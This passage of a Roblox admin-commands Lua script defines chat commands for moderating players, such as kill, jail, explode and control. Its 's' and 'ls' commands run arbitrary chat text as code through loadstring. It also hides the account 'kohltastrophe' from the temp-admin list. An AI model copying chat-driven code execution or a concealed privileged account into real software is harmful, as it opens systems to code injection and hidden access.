  438. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  439. end end
  440.  
  441. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  442. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  443. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  444. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  445. end
  446.  
  447. if msg:lower() == "tools" or msg:lower() == "toollist" then
  448. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  449. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  450. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  451. end
  452.  
  453. if msg:lower():sub(1,2) == "s " then
  454. coroutine.resume(coroutine.create(function()
  455. Output(msg:sub(3), plr)
  456. if script:findFirstChild("ScriptBase") then
  457. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  458. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  459. else loadstring(msg:sub(3))()
  460. end
  461. end))
  462. end
  463.  
  464. if msg:lower():sub(1,3) == "ls " then
  465. coroutine.resume(coroutine.create(function()
  466. if script:findFirstChild("LocalScriptBase") then
  467. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  468. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  469. end
  470. end))
  471. end
  472.  
  473. if msg:lower():sub(1,6) == "lsplr " then
  474. local chk1 = msg:lower():sub(7):find(" ") + 6
  475. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  476. for i, v in pairs(plrz) do
  477. coroutine.resume(coroutine.create(function()
  478. if v and v:findFirstChild("PlayerGui") then
  479. if script:findFirstChild("LocalScriptBase") then
  480. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  481. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  482. end
  483. end
  484. end))
  485. end
  486. end
  487.  
  488. if msg:lower():sub(1,4) == "ins " then
  489. coroutine.resume(coroutine.create(function()
  490. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  491. if obj and #obj:children() >= 1 and plr.Character then
  492. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  493. end
  494. end))
  495. end
  496.  
  497. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  498. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  499. RemoveMessage()
  500. objects = {}
  501. end
  502.  
  503. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  504. game.Lighting.Ambient = origsettings.abt
  505. game.Lighting.Brightness = origsettings.brt
  506. game.Lighting.TimeOfDay = origsettings.time
  507. game.Lighting.FogColor = origsettings.fclr
  508. game.Lighting.FogEnd = origsettings.fe
  509. game.Lighting.FogStart = origsettings.fs
  510. for i, v in pairs(lobjs) do v:Destroy() end
  511. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  512. end
  513.  
  514. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  515. coroutine.resume(coroutine.create(function()
  516. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  517. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  518. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  519. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  520. end))
  521. end
  522.  
  523. if msg:lower():sub(1,10) == "countdown " then
  524. local num = math.min(tonumber(msg:sub(11)),120)
  525. for i = num, 1, -1 do
  526. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  527. wait(1)
  528. end
  529. end
  530.  
  531. if msg:lower():sub(1,3) == "tm " then
  532. local chk1 = msg:lower():sub(4):find(" ") + 3
  533. local num = tonumber(msg:sub(4,chk1-1))
  534. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  535. end
  536.  
  537. if msg:lower():sub(1,2) == "m " then
  538. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  539. end
  540.  
  541. if msg:lower():sub(1,2) == "h " then
  542. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  543. end
  544.  
  545. if msg:lower():sub(1,3) == "pm " then
  546. local chk1 = msg:lower():sub(4):find(" ") + 3
  547. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  548. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  549. end
  550.  
  551. if msg:lower():sub(1,11) == "resetstats " then
  552. local plrz = GetPlr(plr, msg:lower():sub(12))
  553. for i, v in pairs(plrz) do
  554. coroutine.resume(coroutine.create(function()
  555. if v and v:findFirstChild("leaderstats") then
  556. for a, q in pairs(v.leaderstats:children()) do
  557. if q:IsA("IntValue") then q.Value = 0 end
  558. end
  559. end
  560. end))
  561. end
  562. end
  563.  
  564. if msg:lower():sub(1,5) == "gear " then
  565. local chk1 = msg:lower():sub(6):find(" ") + 5
  566. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  567. for i, v in pairs(plrz) do
  568. coroutine.resume(coroutine.create(function()
  569. if v and v:findFirstChild("Backpack") then
  570. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  571. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  572. obj:Destroy()
  573. end
  574. end))
  575. end
  576. end
  577.  
  578. if msg:lower():sub(1,4) == "hat " then
  579. local chk1 = msg:lower():sub(5):find(" ") + 4
  580. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  581. for i, v in pairs(plrz) do
  582. coroutine.resume(coroutine.create(function()
  583. if v and v.Character then
  584. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  585. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  586. obj:Destroy()
  587. end
  588. end))
  589. end
  590. end
  591.  
  592. if msg:lower():sub(1,5) == "cape " then
  593. local chk1 = msg:lower():sub(6):find(" ")
  594. local plrz = GetPlr(plr, msg:lower():sub(6))
  595. local str = "torso.BrickColor"
  596. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  597. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  598. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  599. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  600. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  601. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  602. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  603. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  604. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  605. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  606. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  607. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  608. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  609. if BrickColor.new(teststr) ~= nil then str = teststr end
  610. end
  611. for i, v in pairs(plrz) do
  612. coroutine.resume(coroutine.create(function()
  613. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  614. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  615. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  616. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  617. local torso = plr.Character.Torso
  618. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  619. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  620. p.Size = Vector3.new(.2,.2,.2)
  621. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  622. local motor1 = Instance.new("Motor", p)
  623. motor1.Part0 = p
  624. motor1.Part1 = torso
  625. motor1.MaxVelocity = .01
  626. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  627. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  628. local wave = false
  629. repeat wait(1/44)
  630. local ang = 0.1
  631. local oldmag = torso.Velocity.magnitude
  632. local mv = .002
  633. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  634. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  635. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  636. motor1.DesiredAngle = -ang
  637. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  638. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  639. if torso.Velocity.magnitude < .1 then wait(.1) end
  640. until not p or p.Parent ~= torso.Parent
  641. script:Destroy()
  642. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  643. end
  644. end))
  645. end
  646. end
  647.  
  648. if msg:lower():sub(1,7) == "uncape " then
  649. local plrz = GetPlr(plr, msg:lower():sub(8))
  650. for i, v in pairs(plrz) do
  651. coroutine.resume(coroutine.create(function()
  652. if v and v:findFirstChild("PlayerGui") and v.Character then
  653. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  654. end
  655. end))
  656. end
  657. end
  658.  
  659. if msg:lower():sub(1,7) == "noclip " then
  660. local plrz = GetPlr(plr, msg:lower():sub(8))
  661. for i, v in pairs(plrz) do
  662. coroutine.resume(coroutine.create(function()
  663. if v and v:findFirstChild("PlayerGui") then
  664. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  665. cl.Parent = v.PlayerGui cl.Disabled = false
  666. end
  667. end))
  668. end
  669. end
  670.  
  671. if msg:lower():sub(1,5) == "clip " then
  672. local plrz = GetPlr(plr, msg:lower():sub(6))
  673. for i, v in pairs(plrz) do
  674. coroutine.resume(coroutine.create(function()
  675. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  676. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  677. v.Character.Torso.Anchored = false
  678. wait(.1) v.Character.Humanoid.PlatformStand = false
  679. end
  680. end))
  681. end
  682. end
  683.  
  684. if msg:lower():sub(1,5) == "jail " then
  685. local plrz = GetPlr(plr, msg:lower():sub(6))
  686. for i, v in pairs(plrz) do
  687. coroutine.resume(coroutine.create(function()
  688. if v and v.Character and v.Character:findFirstChild("Torso") then
  689. local vname = v.Name
  690. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  691. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  692. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  693. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  694. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  695. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  696. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  697. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  698. end)
  699. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  700. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  701. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  702. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  703. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  704. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  705. local msh2 = msh:Clone() msh2.Parent = back
  706. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  707. local msh4 = msh3:Clone() msh4.Parent = left
  708. v.Character.Torso.CFrame = cf
  709. end
  710. end))
  711. end
  712. end
  713.  
  714. if msg:lower():sub(1,7) == "unjail " then
  715. local plrz = GetPlr(plr, msg:lower():sub(8))
  716. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  717. end
  718.  
  719. if msg:lower():sub(1,11) == "starttools " then
  720. local plrz = GetPlr(plr, msg:lower():sub(12))
  721. for i, v in pairs(plrz) do
  722. coroutine.resume(coroutine.create(function()
  723. if v and v:findFirstChild("Backpack") then
  724. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  725. end
  726. end))
  727. end
  728. end
  729.  
  730. if msg:lower():sub(1,6) == "sword " then
  731. local plrz = GetPlr(plr, msg:lower():sub(7))
  732. for i, v in pairs(plrz) do
  733. coroutine.resume(coroutine.create(function()
  734. if v and v:findFirstChild("Backpack") then
  735. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  736. sword.GripForward = Vector3.new(-1,0,0)
  737. sword.GripPos = Vector3.new(0,0,-1.5)
  738. sword.GripRight = Vector3.new(0,1,0)
  739. sword.GripUp = Vector3.new(0,0,1)
  740. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  741. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  742. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  743. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  744. local Damage = 15
  745. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  746. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  747. SlashSound.Volume = 1
  748. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  749. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  750. LungeSound.Volume = 1
  751. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  752. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  753. UnsheathSound.Volume = 1
  754. local last = 0
  755. script.Parent.Handle.Touched:connect(function(hit)
  756. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  757. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  758. hit.Parent.Humanoid:TakeDamage(Damage)
  759. end
  760. end)
  761. script.Parent.Activated:connect(function()
  762. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  763. script.Parent.Enabled = false
  764. local tick = game:service("RunService").Stepped:wait()
  765. if tick - last <= .2 then
  766. LungeSound:play()
  767. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  768. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  769. wait(.2)
  770. script.Parent.GripForward = Vector3.new(0,0,1)
  771. script.Parent.GripRight = Vector3.new(0,-1,0)
  772. script.Parent.GripUp = Vector3.new(-1,0,0)
  773. wait(.3)
  774. frc:Destroy() wait(.5)
  775. script.Parent.GripForward = Vector3.new(-1,0,0)
  776. script.Parent.GripRight = Vector3.new(0,1,0)
  777. script.Parent.GripUp = Vector3.new(0,0,1)
  778. else
  779. SlashSound:play()
  780. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  781. end
  782. last = tick
  783. script.Parent.Enabled = true
  784. end)
  785. script.Parent.Equipped:connect(function(mouse)
  786. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  787. UnsheathSound:play()
  788. script.Parent.Enabled = true
  789. if not mouse then return end
  790. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  791. end)]] cl.Disabled = false
  792. end
  793. end))
  794. end
  795. end
  796.  
  797. if msg:lower():sub(1,6) == "clone " then
  798. local plrz = GetPlr(plr, msg:lower():sub(7))
  799. for i, v in pairs(plrz) do
  800. coroutine.resume(coroutine.create(function()
  801. if v and v.Character then
  802. v.Character.Archivable = true
  803. local cl = v.Character:Clone()
  804. table.insert(objects,cl)
  805. cl.Parent = game.Workspace
  806. cl:MoveTo(v.Character:GetModelCFrame().p)
  807. cl:MakeJoints()
  808. v.Character.Archivable = false
  809. end
  810. end))
  811. end
  812. end
  813.  
  814. if msg:lower():sub(1,8) == "control " then
  815. local plrz = GetPlr(plr, msg:lower():sub(9))
  816. for i, v in pairs(plrz) do
  817. coroutine.resume(coroutine.create(function()
  818. if v and v.Character then
  819. v.Character.Humanoid.PlatformStand = true
  820. local w = Instance.new("Weld", plr.Character.Torso )
  821. w.Part0 = plr.Character.Torso
  822. w.Part1 = v.Character.Torso
  823. local w2 = Instance.new("Weld", plr.Character.Head)
  824. w2.Part0 = plr.Character.Head
  825. w2.Part1 = v.Character.Head
  826. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  827. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  828. w3.Part1 = v.Character:findFirstChild("Right Arm")
  829. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  830. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  831. w4.Part1 = v.Character:findFirstChild("Left Arm")
  832. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  833. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  834. w5.Part1 = v.Character:findFirstChild("Right Leg")
  835. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  836. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  837. w6.Part1 = v.Character:findFirstChild("Left Leg")
  838. plr.Character.Head.face:Destroy()
  839. for i, p in pairs(v.Character:children()) do
  840. if p:IsA("BasePart") then
  841. p.CanCollide = false
  842. end
  843. end
  844. for i, p in pairs(plr.Character:children()) do
  845. if p:IsA("BasePart") then
  846. p.Transparency = 1
  847. elseif p:IsA("Hat") then
  848. p:Destroy()
  849. end
  850. end
  851. v.Character.Parent = plr.Character
  852. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  853. end
  854. end))
  855. end
  856. end
  857.  
  858. if msg:lower():sub(1,5) == "kill " then
  859. local plrz = GetPlr(plr, msg:lower():sub(6))
  860. for i, v in pairs(plrz) do
  861. coroutine.resume(coroutine.create(function()
  862. if v and v.Character then v.Character:BreakJoints() end
  863. end))
  864. end
  865. end
  866.  
  867. if msg:lower():sub(1,8) == "respawn " then
  868. local plrz = GetPlr(plr, msg:lower():sub(9))
  869. for i, v in pairs(plrz) do
  870. coroutine.resume(coroutine.create(function()
  871. if v and v.Character then v:LoadCharacter() end
  872. end))
  873. end
  874. end
  875.  
  876. if msg:lower():sub(1,5) == "trip " then
  877. local plrz = GetPlr(plr, msg:lower():sub(6))
  878. for i, v in pairs(plrz) do
  879. coroutine.resume(coroutine.create(function()
  880. if v and v.Character and v.Character:findFirstChild("Torso") then
  881. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  882. end
  883. end))
  884. end
  885. end
  886.  
  887. if msg:lower():sub(1,5) == "stun " then
  888. local plrz = GetPlr(plr, msg:lower():sub(6))
  889. for i, v in pairs(plrz) do
  890. coroutine.resume(coroutine.create(function()
  891. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  892. v.Character.Humanoid.PlatformStand = true
  893. end
  894. end))
  895. end
  896. end
  897.  
  898. if msg:lower():sub(1,7) == "unstun " then
  899. local plrz = GetPlr(plr, msg:lower():sub(8))
  900. for i, v in pairs(plrz) do
  901. coroutine.resume(coroutine.create(function()
  902. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  903. v.Character.Humanoid.PlatformStand = false
  904. end
  905. end))
  906. end
  907. end
  908.  
  909. if msg:lower():sub(1,5) == "jump " then
  910. local plrz = GetPlr(plr, msg:lower():sub(6))
  911. for i, v in pairs(plrz) do
  912. coroutine.resume(coroutine.create(function()
  913. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  914. v.Character.Humanoid.Jump = true
  915. end
  916. end))
  917. end
  918. end
  919.  
  920. if msg:lower():sub(1,4) == "sit " then
  921. local plrz = GetPlr(plr, msg:lower():sub(5))
  922. for i, v in pairs(plrz) do
  923. coroutine.resume(coroutine.create(function()
  924. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  925. v.Character.Humanoid.Sit = true
  926. end
  927. end))
  928. end
  929. end
  930.  
  931. if msg:lower():sub(1,10) == "invisible " then
  932. local plrz = GetPlr(plr, msg:lower():sub(11))
  933. for i, v in pairs(plrz) do
  934. coroutine.resume(coroutine.create(function()
  935. if v and v.Character then
  936. for a, obj in pairs(v.Character:children()) do
  937. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  938. end
  939. end
  940. end))
  941. end
  942. end
  943.  
  944. if msg:lower():sub(1,8) == "visible " then
  945. local plrz = GetPlr(plr, msg:lower():sub(9))
  946. for i, v in pairs(plrz) do
  947. coroutine.resume(coroutine.create(function()
  948. if v and v.Character then
  949. for a, obj in pairs(v.Character:children()) do
  950. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  951. end
  952. end
  953. end))
  954. end
  955. end
  956.  
  957. if msg:lower():sub(1,5) == "lock " then
  958. local plrz = GetPlr(plr, msg:lower():sub(6))
  959. for i, v in pairs(plrz) do
  960. coroutine.resume(coroutine.create(function()
  961. if v and v.Character then
  962. for a, obj in pairs(v.Character:children()) do
  963. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  964. end
  965. end
  966. end))
  967. end
  968. end
  969.  
  970. if msg:lower():sub(1,7) == "unlock " then
  971. local plrz = GetPlr(plr, msg:lower():sub(8))
  972. for i, v in pairs(plrz) do
  973. coroutine.resume(coroutine.create(function()
  974. if v and v.Character then
  975. for a, obj in pairs(v.Character:children()) do
  976. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  977. end
  978. end
  979. end))
  980. end
  981. end
  982.  
  983. if msg:lower():sub(1,8) == "explode " then
  984. local plrz = GetPlr(plr, msg:lower():sub(9))
  985. for i, v in pairs(plrz) do
  986. coroutine.resume(coroutine.create(function()
  987. if v and v.Character and v.Character:findFirstChild("Torso") then
  988. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  989. end
  990. end))
  991. end
  992. end
  993.  
  994. if msg:lower():sub(1,4) == "age " then
  995. local plrz = GetPlr(plr, msg:lower():sub(5))
  996. for i, v in pairs(plrz) do
  997. coroutine.resume(coroutine.create(function()
  998. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  999. end))
  1000. end
  1001. end
  1002.  
  1003. if msg:lower():sub(1,5) == "fire " then
  1004. local plrz = GetPlr(plr, msg:lower():sub(6))
  1005. for i, v in pairs(plrz) do
  1006. coroutine.resume(coroutine.create(function()
  1007. if v and v.Character and v.Character:findFirstChild("Torso") then
  1008. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1009. end
  1010. end))
  1011. end
  1012. end
  1013.  
  1014. if msg:lower():sub(1,7) == "unfire " then
  1015. local plrz = GetPlr(plr, msg:lower():sub(8))
  1016. for i, v in pairs(plrz) do
  1017. coroutine.resume(coroutine.create(function()
  1018. if v and v.Character and v.Character:findFirstChild("Torso") then
  1019. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1020. end
  1021. end))
  1022. end
  1023. end
  1024.  
  1025. if msg:lower():sub(1,6) == "smoke " then
  1026. local plrz = GetPlr(plr, msg:lower():sub(7))
  1027. for i, v in pairs(plrz) do
  1028. coroutine.resume(coroutine.create(function()
  1029. if v and v.Character and v.Character:findFirstChild("Torso") then
  1030. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1031. end
  1032. end))
  1033. end
  1034. end
  1035.  
  1036. if msg:lower():sub(1,8) == "unsmoke " then
  1037. local plrz = GetPlr(plr, msg:lower():sub(9))
  1038. for i, v in pairs(plrz) do
  1039. coroutine.resume(coroutine.create(function()
  1040. if v and v.Character and v.Character:findFirstChild("Torso") then
  1041. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1042. end
